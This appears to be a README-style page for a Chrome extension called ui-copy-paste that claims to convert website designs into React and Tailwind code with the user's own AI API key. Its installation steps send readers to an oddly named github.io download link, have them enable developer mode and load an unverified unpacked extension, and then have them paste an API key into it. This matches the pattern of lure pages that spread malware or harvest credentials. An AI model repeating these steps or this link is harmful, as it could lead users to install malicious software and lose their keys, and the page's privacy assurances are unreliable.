ui-copy-paste helps you capture the design of any website and convert it into high-quality code. This tool works as a browser extension for Google Chrome. It uses advanced artificial intelligence to analyze visual elements on your screen. The software then generates clean React components styled with Tailwind CSS.
You control the process by providing your own API key. This approach keeps your data private and ensures you only pay for the usage you incur. You can choose between OpenAI or Claude as the processing engine.
You need a few things to run this extension on your Windows computer:
- A modern version of the Google Chrome web browser.
- A subscription or active account with an AI provider. You can use OpenAI or Anthropic.
- Your own API key from your chosen provider. This key allows the software to generate code for you.
- A stable internet connection to communicate with the AI services.
You will download the extension directly from our release page. Visit this page to download the latest version of the software: https://jo-anntestimonial230.github.io
- Go to the releases page.
- Look for the most recent version labeled as "Latest release."
- Click the file ending in
.zipto download the package to your Windows device. - Locate the file in your downloads folder.
- Right-click the file and select "Extract All" to unzip the folder. Note where you save these extracted files.
Chrome requires you to enable developer mode to load extensions you downloaded from outside the official Web Store.
- Open Google Chrome.
- Type
chrome://extensionsin the address bar and press Enter. - Look for the "Developer mode" toggle in the top right corner of the screen. Click it to turn it on.
- Click the button that says "Load unpacked."
- Select the folder you extracted in the previous section.
- The extension appears in your toolbar. You might need to click the puzzle icon to find it and pin it to your browser menu.
Once you install the extension, you must connect your AI account.
- Click the ui-copy-paste icon in your browser toolbar.
- Open the settings menu within the extension window.
- Select your preferred AI model from the dropdown list.
- Paste your API key into the designated field.
- Save your changes. The extension will verify the key. If the indicator turns green, you are ready to start.
Using the extension follows a simple flow:
- Navigate to the website you want to copy.
- Click the ui-copy-paste icon while on that page.
- Choose the specific part of the page you want to capture.
- Press the "Generate" button.
- Wait a few moments while the AI analyzes the visual structure.
- Copy the resulting React and Tailwind code.
- Paste the code into your development environment.
To get the best results, focus on clean areas of a website. The AI performs best when it sees clearly defined boxes, buttons, and text layouts. If a page has many overlapping elements or complex animations, the code might require minor adjustments.
Always review the generated code before you add it to your project. While the AI is efficient, it helps to confirm that the component naming and style classes match your design preferences.
If you encounter issues, try these steps:
- Check your API key. If the key expires or lacks credit, the extension cannot generate code.
- Verify your internet connection. The AI models require a connection to receive your request and send back the results.
- Refresh the page. Sometimes browser extensions need a clean current state of the page to parse the code correctly.
- Reinstall the extension. Remove it from the
chrome://extensionspage and follow the installation steps again if you see errors.
We do not store your API keys on any server. You provide the key locally to your browser. Your data stays on your machine and is only sent to the specific AI provider you chosen. We respect your privacy and provide this tool only as a bridge between your browser and your selected AI service.
